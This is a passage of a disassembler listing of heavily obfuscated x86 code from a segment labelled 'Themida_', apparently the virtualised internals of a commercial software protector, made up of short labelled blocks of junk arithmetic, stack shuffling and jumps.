loc_56E766:				; CODE XREF: Themida_:005740EEj
		xor	esi, ebp
		pop	ebp
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		jmp	loc_56AD72
; ---------------------------------------------------------------------------


loc_56E773:				; CODE XREF: Themida_:0056CF71j
		sub	esi, 7FAF280Ch
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56E79A:				; CODE XREF: Themida_:00561183j
		mov	ecx, edx
		pop	edx
		xor	ecx, 440A6935h
		shr	ecx, 2
		add	ecx, 6A040387h
		dec	ecx
		jmp	loc_56F1DD
; ---------------------------------------------------------------------------


loc_56E7B2:				; CODE XREF: Themida_:005609D7j
		xchg	ebx, [esp]
		jmp	loc_5615C0
; ---------------------------------------------------------------------------


loc_56E7BA:				; CODE XREF: Themida_:005623FEj
		sub	ebx, edi
		pop	edi
		push	ecx
		push	441h
		mov	[esp], esi
		mov	esi, 4B4A7C94h
		jmp	loc_566984
; ---------------------------------------------------------------------------


loc_56E7D0:				; CODE XREF: Themida_:0056C4B7j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 3CD07EE2h
		shr	esi, 8
		dec	esi
		jmp	loc_567092
; ---------------------------------------------------------------------------


loc_56E7E5:				; CODE XREF: Themida_:005665C5j
		add	esi, eax
		add	esi, 25B00C9h
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_56A3BC
; ---------------------------------------------------------------------------


loc_56E7FC:				; CODE XREF: Themida_:00572A74j
		xor	edx, eax
		xor	eax, edx
		jmp	loc_565E38
; ---------------------------------------------------------------------------


loc_56E805:				; CODE XREF: Themida_:0056C489j
		pop	ebx
		xor	ebx, 2C7476A6h
		push	ecx
		mov	ecx, 55B76C4Ah
		jmp	loc_5624FC
; ---------------------------------------------------------------------------


loc_56E817:				; CODE XREF: Themida_:00572C57j
		pop	ebx
		jmp	loc_5611CE
; ---------------------------------------------------------------------------


loc_56E81D:				; CODE XREF: Themida_:0056FD42j
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_561140
; ---------------------------------------------------------------------------


loc_56E834:				; CODE XREF: Themida_:0056B2D2j
		mov	[esp], edx
		push	3338h
		mov	[esp], ebx
		mov	ebx, 2000h
		push	ebx
		add	dword ptr [esp], 6C9F7ADEh
		pop	edx
		sub	edx, 6C9F7ADEh
		pop	ebx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5632D1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_568147
; ---------------------------------------------------------------------------


loc_56E870:				; CODE XREF: Themida_:0056289Dj
		mov	esp, [esp]
		mov	[esp], esi
		xchg	eax, [esp]
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		xchg	eax, [esp]
		pop	esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_567167
; ---------------------------------------------------------------------------


loc_56E88A:				; CODE XREF: Themida_:0056BAEBj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5713AF
; ---------------------------------------------------------------------------


loc_56E89B:				; CODE XREF: Themida_:00571318j
		mov	[esp], edx
		jmp	loc_5667FC
; ---------------------------------------------------------------------------


loc_56E8A3:				; CODE XREF: Themida_:00569C5Fj
		add	ebp, 38B0FC57h
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 7C09138Ah
		and	edi, edx
		pop	edx
		dec	edi
		shr	edi, 3
		sub	edi, 0DD70E18Bh
		add	ecx, 1BC8738Ch
		add	ecx, edi
		push	ebx
		mov	ebx, 0FCF22B2h
		and	ebx, 3B2F625Ah
		xor	ebx, 36F02266h
		xor	ebx, 6A30706Ah
		or	ebx, 71E3796h
		xor	ebx, 4C170412h
		jmp	loc_57236D
; ---------------------------------------------------------------------------


loc_56E8F0:				; CODE XREF: Themida_:0056A921j
		push	edx
		mov	edx, 4
		sub	eax, 2E1B3C93h
		jmp	loc_5735DA
; ---------------------------------------------------------------------------


loc_56E900:				; CODE XREF: Themida_:00569B3Ej
		push	edi
		push	ebx
		jmp	loc_57182E
; ---------------------------------------------------------------------------


loc_56E907:				; CODE XREF: Themida_:0056D796j
		push	3C13h
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_5611AD
; ---------------------------------------------------------------------------


loc_56E919:				; CODE XREF: Themida_:005614A8j
		add	ecx, 2FC9392Ch
		add	ecx, edx
		sub	ecx, 2FC9392Ch
		add	ecx, 296132F9h
		pop	edx
		jmp	loc_56282E
; ---------------------------------------------------------------------------


loc_56E933:				; CODE XREF: Themida_:00574363j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56DEF9
; ---------------------------------------------------------------------------


loc_56E942:				; CODE XREF: Themida_:00563344j
		mov	esi, 56CC4E4Dh
		xor	esi, 64E210CEh
		and	esi, 3A710BCEh
		jmp	loc_56F218
; ---------------------------------------------------------------------------


loc_56E958:				; CODE XREF: Themida_:005697AAj
		mov	ebx, 5311065Ah
		push	4686h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 3A2A9FDFh
		jmp	loc_573683
; ---------------------------------------------------------------------------


loc_56E981:				; CODE XREF: Themida_:00560E79j
		add	esi, 89750FEh
		xor	esi, 618CF39Ch
		xor	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 4CAA1966h
		xor	ebx, ebp
		pop	ebp
		mov	esi, ebx
		jmp	loc_56BB7E
; ---------------------------------------------------------------------------


loc_56E9A0:				; CODE XREF: Themida_:005617CEj
		push	edi
		mov	edi, 0
		add	edi, 78E96C74h
		sub	edi, eax
		sub	edi, 78E96C74h
		mov	eax, edi
		pop	edi
		shl	eax, 6
		shr	eax, 7
		sub	eax, 14073A6h
		mov	ebp, eax
		pop	eax
		add	edi, 50E94C01h
		add	edi, ebp
		sub	edi, 50E94C01h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 1BD158C8h
		and	eax, 713053BAh
		jmp	loc_5740F3
; ---------------------------------------------------------------------------


loc_56E9F2:				; CODE XREF: Themida_:0056EC2Cj
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_568EBD
; ---------------------------------------------------------------------------


loc_56EA0B:				; CODE XREF: Themida_:00564D67j
		mov	edx, [esp]
		jmp	loc_560ECC
; ---------------------------------------------------------------------------


loc_56EA13:				; CODE XREF: Themida_:0056A488j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	dword ptr [esp], 1BFF1F89h
		pop	eax
		jmp	loc_568575
; ---------------------------------------------------------------------------


loc_56EA29:				; CODE XREF: Themida_:0056A6A2j
		not	dword ptr [esp]
		pop	ebp
		or	ebp, 2AC22936h
		xor	ebp, 9C1C988Dh
		add	eax, ebp
		jmp	loc_562ABB
; ---------------------------------------------------------------------------


loc_56EA40:				; CODE XREF: Themida_:0055FB48j
		mov	[esp], ecx
		push	1
		pop	ecx
		jmp	loc_565BD6
; ---------------------------------------------------------------------------


loc_56EA4E:				; CODE XREF: Themida_:005647A7j
		inc	edi
		jmp	loc_56DA28
; ---------------------------------------------------------------------------


loc_56EA54:				; CODE XREF: Themida_:00567238j
		add	esp, 4
		xor	al, dl
		mov	dx, [esp]
		jmp	loc_5629AB
; ---------------------------------------------------------------------------


loc_56EA62:				; CODE XREF: Themida_:0056BE49j
		not	edx
		xchg	eax, edx
		push	edi
		push	7AAh
		mov	[esp], eax
		pop	edi
		pop	eax
		push	eax
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56C593
; ---------------------------------------------------------------------------


loc_56EA86:				; CODE XREF: Themida_:0056D02Aj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5740CE
; ---------------------------------------------------------------------------


loc_56EA95:				; CODE XREF: Themida_:0057239Ej
		push	7E9343Fh
		jmp	loc_561C9E
; ---------------------------------------------------------------------------


loc_56EA9F:				; CODE XREF: Themida_:0056DDD6j
		push	edx
		mov	edx, esp
		jmp	loc_56751B
; ---------------------------------------------------------------------------


loc_56EAA7:				; CODE XREF: Themida_:005601DCj
		mov	dh, 0D1h
		sub	dh, bh
		jmp	loc_56BC43
; ---------------------------------------------------------------------------


loc_56EAB0:				; CODE XREF: Themida_:005728ABj
		sub	dword ptr [esp+4], 11E55973h
		push	ebp
		mov	ebp, 120404F3h
		jmp	loc_56593F
; ---------------------------------------------------------------------------


loc_56EAC3:				; CODE XREF: Themida_:00572BDDj
		add	edx, 8E5FEBFDh
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56EAEF:				; CODE XREF: Themida_:00573AABj
		sub	al, bh
		mov	bx, [esp]
		add	esp, 2
		sub	al, 83h
		add	al, bl
		add	al, 83h
		push	bx
		mov	bh, 64h
		push	dx
		mov	dl, 71h
		jmp	loc_56586B
; ---------------------------------------------------------------------------


loc_56EB0B:				; CODE XREF: Themida_:005643FFj
		add	esp, 4
		shr	ecx, 1
		jmp	loc_560820
; ---------------------------------------------------------------------------


loc_56EB15:				; CODE XREF: Themida_:0056EE32j
		add	[esp+4], ecx
		pop	ecx
		pop	ebp
		add	ebp, 4
		jmp	loc_56940B
; ---------------------------------------------------------------------------


loc_56EB26:				; CODE XREF: Themida_:0056CF4Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		pop	ecx
		jmp	loc_5654F7
; ---------------------------------------------------------------------------


loc_56EB45:				; CODE XREF: Themida_:005631EFj
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	0A6Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 684965D4h
		and	esi, 0EC114EBh
		jmp	loc_571A1D
; ---------------------------------------------------------------------------


loc_56EB6B:				; CODE XREF: Themida_:0056E271j
		mov	al, cl
		jmp	loc_572D5A
; ---------------------------------------------------------------------------


loc_56EB72:				; CODE XREF: Themida_:00560563j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_572FBE
; ---------------------------------------------------------------------------


loc_56EB88:				; CODE XREF: Themida_:0056C63Cj
		push	ecx
		mov	ecx, 0B586F30h
		or	ecx, 2DFD6AA7h
		inc	ecx
		or	ecx, 5D052FB3h
		sub	ecx, 1
		not	ecx
		xor	ecx, 8B78DEA6h
		push	ebp
		mov	ebp, 4D463853h
		shl	ebp, 2
		jmp	loc_560BA9
; ---------------------------------------------------------------------------


loc_56EBB7:				; CODE XREF: Themida_:00568474j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_561CA4
; ---------------------------------------------------------------------------


loc_56EBBF:				; CODE XREF: Themida_:00565C07j
		add	eax, 1610314h
		jmp	loc_5681A9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	29E3h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_566D96
; ---------------------------------------------------------------------------


loc_56EBEE:				; CODE XREF: Themida_:00569814j
		push	ebp
		push	ebx
		mov	ebx, 11334CCEh
		dec	ebx
		add	ebx, 3BF8EF8Dh
		jmp	loc_561A4B
; ---------------------------------------------------------------------------


loc_56EC01:				; CODE XREF: Themida_:0056820Aj
		sub	ebx, 3CEF1B6Bh
		sub	ebx, 697AC112h
		mov	esi, ebx
		pop	ebx
		shl	esi, 2
		push	ebp
		mov	ebp, 4A0B153Ah
		and	ebp, 6A965B7Ch
		shl	ebp, 3
		jmp	loc_56921C
; ---------------------------------------------------------------------------


loc_56EC27:				; CODE XREF: Themida_:0056BFC4j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56E9F2
; ---------------------------------------------------------------------------


loc_56EC31:				; CODE XREF: Themida_:005715E2j
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	esi
		jmp	loc_56DDA7
; ---------------------------------------------------------------------------


loc_56EC45:				; CODE XREF: Themida_:0056BE81j
		mov	ecx, [esp]
		jmp	loc_560065
; ---------------------------------------------------------------------------


loc_56EC4D:				; CODE XREF: Themida_:00560C8Cj
		push	dword ptr [esp]
		jmp	loc_573436
; ---------------------------------------------------------------------------


loc_56EC55:				; CODE XREF: Themida_:005651BAj
		push	edx
		mov	dh, ch
		mov	al, dh
		pop	edx
		jmp	loc_5626E9
; ---------------------------------------------------------------------------


loc_56EC60:				; CODE XREF: Themida_:0056ED7Fj
		mov	ebx, [esp]
		push	ebx
		jmp	loc_56DB8C
; ---------------------------------------------------------------------------


loc_56EC69:				; CODE XREF: Themida_:0056BD4Ej
		push	ecx
		push	ebp
		push	esi
		mov	esi, 13E8074Ch
		mov	ebp, 0EC17F8B8h
		add	ebp, esi
		jmp	loc_56AB75
; ---------------------------------------------------------------------------


loc_56EC7D:				; CODE XREF: Themida_:0056E578j
		neg	ecx
		jmp	loc_5712AE
; ---------------------------------------------------------------------------


loc_56EC84:				; CODE XREF: Themida_:0056BFE8j
		add	esi, eax
		add	esi, 28B7B9Bh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_561037
; ---------------------------------------------------------------------------


loc_56EC99:				; CODE XREF: Themida_:0056DF7Dj
		test	ecx, eax
		pushf
		jmp	loc_571A8A
; ---------------------------------------------------------------------------


loc_56ECA1:				; CODE XREF: Themida_:00563741j
		not	eax
		jmp	loc_56C003
; ---------------------------------------------------------------------------


loc_56ECA8:				; CODE XREF: Themida_:005694ACj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_562716
; ---------------------------------------------------------------------------


loc_56ECD6:				; CODE XREF: Themida_:005723FAj
		push	ebp
		push	4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56717A
; ---------------------------------------------------------------------------


loc_56ECEA:				; CODE XREF: Themida_:00561D07j
		sub	ecx, 226F1D0Ch
		add	ecx, eax
		add	ecx, 226F1D0Ch
		jmp	loc_5729F0
; ---------------------------------------------------------------------------


loc_56ECFD:				; CODE XREF: Themida_:00561C32j
		add	ebx, 6B027376h
		sub	ebx, 2C51293Ah
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_56ED84
; ---------------------------------------------------------------------------


loc_56ED15:				; CODE XREF: Themida_:005640D5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, edx
		push	esi
		mov	esi, 44636422h
		xor	esi, 755C7596h
		or	esi, 29416BCCh
		shl	esi, 1
		add	esi, 4FC06435h
		xor	esi, 0B1AD557Ah
		sub	ebx, esi
		pop	esi
		pop	edx
		push	small word ptr [eax]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56ED56:				; CODE XREF: Themida_:00562498j
		push	7252h
		mov	[esp], edi
		jmp	loc_571874
; ---------------------------------------------------------------------------


loc_56ED63:				; CODE XREF: Themida_:0056E6BAj
		mov	ebp, 347B4CE5h
		and	ebp, 48D9115Eh
		xor	ebp, 20F06433h
		push	edx
		mov	edx, 0C10D3961h
		add	ebp, edx
		pop	edx
		add	ebp, ebx
		jmp	loc_56EC60
; ---------------------------------------------------------------------------


loc_56ED84:				; CODE XREF: Themida_:0056ED10j
		sub	ebx, 222544A8h
		jmp	loc_572D03
; ---------------------------------------------------------------------------


loc_56ED8F:				; CODE XREF: Themida_:0056C6FDj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_562323
; ---------------------------------------------------------------------------


loc_56EDA2:				; CODE XREF: Themida_:0056B709j
		mov	[esp], cx
		push	eax
		jmp	loc_5673CC
; ---------------------------------------------------------------------------
		push	ecx
		push	edi
		mov	edi, 6CA323FCh
		jmp	loc_56B965
; ---------------------------------------------------------------------------


loc_56EDB8:				; CODE XREF: Themida_:0056F91Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_572173
; ---------------------------------------------------------------------------


loc_56EDCF:				; CODE XREF: Themida_:005664C6j
		add	ebp, 4B825AD2h
		jmp	loc_56106D
; ---------------------------------------------------------------------------


loc_56EDDA:				; CODE XREF: Themida_:00573BEBj
		mov	edx, 4EA4593Eh
		xor	[esp+4], edx
		jmp	loc_57340F
; ---------------------------------------------------------------------------


loc_56EDE8:				; CODE XREF: Themida_:00566CDAj
		mov	ecx, eax
		jmp	loc_56EE8A
; ---------------------------------------------------------------------------


loc_56EDEF:				; CODE XREF: Themida_:0056F70Aj
		mov	ecx, esi
		push	ecx
		sub	dword ptr [esp], 4F8B4689h
		pop	eax
		push	edi
		mov	edi, 31B328BAh
		sub	edi, 0E227E231h
		sub	eax, 4EEB41C0h
		add	eax, edi
		add	eax, 4EEB41C0h
		pop	edi
		pop	ecx
		pop	esi
		add	ebx, 8162F42h
		add	ebx, eax
		sub	ebx, 8162F42h
		pop	eax
		add	ebx, 2
		jmp	loc_568FE3
; ---------------------------------------------------------------------------


loc_56EE2F:				; CODE XREF: Themida_:005701D5j
		add	esp, 4
		jmp	loc_56EB15
; ---------------------------------------------------------------------------


loc_56EE37:				; CODE XREF: Themida_:0056BE70j
		sub	eax, 68427950h
		add	eax, ecx
		jmp	loc_56F9AA
; ---------------------------------------------------------------------------


loc_56EE43:				; CODE XREF: Themida_:0056807Bj
		add	esp, 4
		movzx	eax, al
		jmp	loc_56611B
; ---------------------------------------------------------------------------


loc_56EE4E:				; CODE XREF: Themida_:0056462Fj
		pop	eax
		xor	edx, 7ED417D6h
		push	ebp
		mov	ebp, 3DBB166Eh
		jmp	loc_5670F1
; ---------------------------------------------------------------------------


loc_56EE60:				; CODE XREF: Themida_:0056D628j
		push	21220B57h
		pop	ecx
		inc	ecx
		dec	ecx
		jmp	loc_56B00A
; ---------------------------------------------------------------------------


loc_56EE6D:				; CODE XREF: Themida_:0056CE03j
		pop	esi
		or	edx, 206459C3h
		push	ecx
		jmp	loc_572596
; ---------------------------------------------------------------------------


loc_56EE7A:				; CODE XREF: Themida_:0056A8C0j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_567864
; ---------------------------------------------------------------------------


loc_56EE8A:				; CODE XREF: Themida_:0056EDEAj
		pop	eax
		push	3261h
		mov	[esp], edx
		push	esi
		jmp	loc_5655A3
; ---------------------------------------------------------------------------


loc_56EE99:				; CODE XREF: Themida_:00570DB7j
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], eax
		jmp	loc_5632CA
; ---------------------------------------------------------------------------


loc_56EEAE:				; CODE XREF: Themida_:00570CD6j
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56F2D4
; ---------------------------------------------------------------------------


loc_56EECB:				; CODE XREF: Themida_:0056DC9Ej
		push	78C4h
		mov	[esp], eax
		jmp	loc_570DA4
; ---------------------------------------------------------------------------


loc_56EED8:				; CODE XREF: Themida_:0056CC58j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	ebx, eax
		pop	eax
		mov	edi, ebx
		push	dword ptr [esp]
		jmp	loc_572BA8
; ---------------------------------------------------------------------------


loc_56EEF8:				; CODE XREF: Themida_:00564EFBj
		push	esi
		push	edi
		jmp	loc_570E40
; ---------------------------------------------------------------------------


loc_56EEFF:				; CODE XREF: Themida_:0056512Ej
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565B8C
; ---------------------------------------------------------------------------


loc_56EF0E:				; CODE XREF: Themida_:00569E21j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56F944
; ---------------------------------------------------------------------------


loc_56EF30:				; CODE XREF: Themida_:005615FDj
		mov	ah, 0C4h
		shr	ah, 8
		jmp	loc_56F9EF
; ---------------------------------------------------------------------------


loc_56EF3A:				; CODE XREF: Themida_:00563FACj
		mov	eax, 12DC5EE1h
		jmp	loc_567245
; ---------------------------------------------------------------------------


loc_56EF44:				; CODE XREF: Themida_:0056AE1Ej
		mov	edx, 702EA659h
		sub	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		add	ecx, ebx
		push	edi
		push	ebx
		jmp	loc_574621
; ---------------------------------------------------------------------------


loc_56EF58:				; CODE XREF: Themida_:00563C1Bj
		pop	ebx
		add	ebx, edx
		pop	edx
		push	2D81h
		mov	[esp], ebp
		push	ecx
		jmp	loc_56BC7A
; ---------------------------------------------------------------------------


loc_56EF6A:				; CODE XREF: Themida_:0056279Bj
		and	ecx, 7E90318Fh
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		jmp	loc_570213
; ---------------------------------------------------------------------------


loc_56EF80:				; CODE XREF: Themida_:00572C9Aj
		mov	cl, dh
		pop	edx
		add	al, cl
		jmp	loc_56B2E8
; ---------------------------------------------------------------------------


loc_56EF8A:				; CODE XREF: Themida_:0056F366j
		pop	ebx
		jmp	loc_561D55
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5723B0
; ---------------------------------------------------------------------------


loc_56EF96:				; CODE XREF: Themida_:00570C5Dj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_566F0C
; ---------------------------------------------------------------------------


loc_56EFA4:				; CODE XREF: Themida_:00571883j
		push	eax
		jmp	loc_56E397
; ---------------------------------------------------------------------------


loc_56EFAA:				; CODE XREF: Themida_:00568E6Ej
		mov	[esp], eax
		mov	ah, 0FAh
		sub	dl, ah
		pop	eax
		xor	al, dl
		pop	edx
		jmp	loc_56B5D9
; ---------------------------------------------------------------------------


loc_56EFBA:				; CODE XREF: Themida_:00573306j
		pop	ebx
		sub	ah, 0FFh
		jmp	loc_561D65
; ---------------------------------------------------------------------------


loc_56EFC3:				; CODE XREF: Themida_:0056A0B8j
		add	esp, 4
		jmp	loc_570C7A
; ---------------------------------------------------------------------------


loc_56EFCB:				; CODE XREF: Themida_:00562427j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55F7E0
; ---------------------------------------------------------------------------


loc_56EFD6:				; CODE XREF: Themida_:00563BC9j
		add	ah, cl
		jmp	loc_5728CA
; ---------------------------------------------------------------------------


loc_56EFDD:				; CODE XREF: Themida_:00572388j
		shr	ebp, 2
		sub	esp, 4
		jmp	loc_564078
; ---------------------------------------------------------------------------


loc_56EFE8:				; CODE XREF: Themida_:005709AAj
		push	25E92F88h
		mov	edx, [esp]
		add	esp, 4
		or	edx, 1ED34001h
		push	edx
		not	dword ptr [esp]
		jmp	loc_56A06B
; ---------------------------------------------------------------------------


loc_56F002:				; CODE XREF: Themida_:00571969j
		mov	edi, 7DA92DE3h
		sub	ebp, edi
		pop	edi
		add	ebp, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7DA92DE3h
		add	ebp, eax
		jmp	loc_55FD93
; ---------------------------------------------------------------------------


loc_56F021:				; CODE XREF: Themida_:0056AEB3j
		mov	esi, [esp]
		add	esp, 4
		push	86Ah
		jmp	loc_5641F9
; ---------------------------------------------------------------------------


loc_56F031:				; CODE XREF: Themida_:0056B21Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		add	esi, 2E4E112Dh
		jmp	loc_568764
; ---------------------------------------------------------------------------


loc_56F04C:				; CODE XREF: Themida_:005672D6j
		pop	ebx
		jmp	loc_563B56
; ---------------------------------------------------------------------------


loc_56F052:				; CODE XREF: Themida_:0056C9C5j
		sub	eax, 1948990Ch
		xor	esi, eax
		jmp	loc_56DCF6
; ---------------------------------------------------------------------------


loc_56F05E:				; CODE XREF: Themida_:0056D6D7j
		add	[esp+4], eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56F444
; ---------------------------------------------------------------------------


loc_56F073:				; CODE XREF: Themida_:005694FFj
		push	edi
		push	esp
		jmp	loc_56CAAA
; ---------------------------------------------------------------------------


loc_56F07A:				; CODE XREF: Themida_:0056FC43j
		add	edx, 75FA7810h
		jmp	loc_5717A3
; ---------------------------------------------------------------------------


loc_56F085:				; CODE XREF: Themida_:0056FDF6j
		xor	esi, ebp
		pop	ebp
		add	eax, 33D23C71h
		add	eax, esi
		jmp	loc_56AB48
; ---------------------------------------------------------------------------


loc_56F094:				; CODE XREF: Themida_:005701BDj
		mov	esi, 37F22897h
		neg	esi
		add	esi, 2D685FB1h
		jmp	loc_5616CA
; ---------------------------------------------------------------------------


loc_56F0A6:				; CODE XREF: Themida_:005724ABj
		mov	edi, 7D21379Ch
		shr	edi, 8
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 383F16BFh
		mov	esi, eax
		pop	eax
		or	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_573B59
; ---------------------------------------------------------------------------


loc_56F0CC:				; CODE XREF: Themida_:00565261j
		sub	dword ptr [esp+4], 651F052Fh
		jmp	loc_562CC9
; ---------------------------------------------------------------------------


loc_56F0D9:				; CODE XREF: Themida_:00564872j
		add	ecx, 0D0B9F550h
		push	ecx
		xor	dword ptr [esp], 76BC7640h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 76BC7640h
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56AE7D
; ---------------------------------------------------------------------------


loc_56F0FF:				; CODE XREF: Themida_:0056B461j
		push	eax
		mov	eax, 4
		sub	edx, 736524FCh
		add	edx, eax
		add	edx, 736524FCh
		pop	eax
		jmp	loc_5719BC
; ---------------------------------------------------------------------------


loc_56F119:				; CODE XREF: Themida_:0056054Bj
		pop	esi
		push	ebp
		mov	ebp, esp
		push	ecx
		sub	esp, 4
		jmp	loc_56B1E7
; ---------------------------------------------------------------------------


loc_56F129:				; CODE XREF: Themida_:00569741j
		sub	ebx, 0FFFFFFFFh
		jmp	loc_574666
; ---------------------------------------------------------------------------


loc_56F131:				; CODE XREF: Themida_:00571303j
		pop	ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_565895
; ---------------------------------------------------------------------------


loc_56F13B:				; CODE XREF: Themida_:0056AD6Dj
		xor	dword ptr [eax], 69306A5Bh
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		and	dword ptr [edi+24h], 502F499Fh
		sub	dword ptr [edi+24h], 0FFFFFFFFh
		xor	dword ptr [edi+24h], 50DC61BAh
		push	ecx
		mov	ecx, 4C7F0158h
		add	ecx, 27DF00BBh
		jmp	loc_56DC4A
; ---------------------------------------------------------------------------


loc_56F16B:				; CODE XREF: Themida_:0056C58Ej
		sub	al, 85h
		mov	dx, [esp]
		jmp	loc_5614B6
; ---------------------------------------------------------------------------


loc_56F176:				; CODE XREF: Themida_:00563BBCj
		mov	ecx, 40F17B28h
		jmp	loc_565780
; ---------------------------------------------------------------------------


loc_56F180:				; CODE XREF: Themida_:00566DE3j
		pop	eax
		sub	ebx, 64153B8Ch
		sub	ebx, 203B25CCh
		add	ebx, esi
		add	ebx, 203B25CCh
		add	ebx, 64153B8Ch
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	65F8h
		mov	[esp], eax
		push	67E9h
		mov	[esp], ebx
		jmp	loc_56B775
; ---------------------------------------------------------------------------


loc_56F1C1:				; CODE XREF: Themida_:00567C78j
		pop	esp
		jmp	loc_5723BA
; ---------------------------------------------------------------------------


loc_56F1C7:				; CODE XREF: Themida_:0056F51Aj
		push	58D23B66h
		jmp	loc_5602A5
; ---------------------------------------------------------------------------


loc_56F1D1:				; CODE XREF: Themida_:0056A8EFj
		sub	dword ptr [esp], 98C11DBh
		jmp	loc_5699AD
; ---------------------------------------------------------------------------


loc_56F1DD:				; CODE XREF: Themida_:0056E7ADj
		xor	ecx, 91FF9D61h
		mov	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 0AE91ED51h
		sub	ebp, eax
		pop	eax
		mov	eax, ebp
		pop	ebp
		push	6BB9h
		jmp	loc_56AA07
; ---------------------------------------------------------------------------


loc_56F1FC:				; CODE XREF: Themida_:00573E70j
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_570669
; ---------------------------------------------------------------------------


loc_56F20B:				; CODE XREF: Themida_:00560738j
		mov	esi, 0C7829657h
		mov	ebx, esi
		pop	esi
		jmp	loc_56BD53
; ---------------------------------------------------------------------------


loc_56F218:				; CODE XREF: Themida_:0056E953j
		and	esi, 17996139h
		not	esi
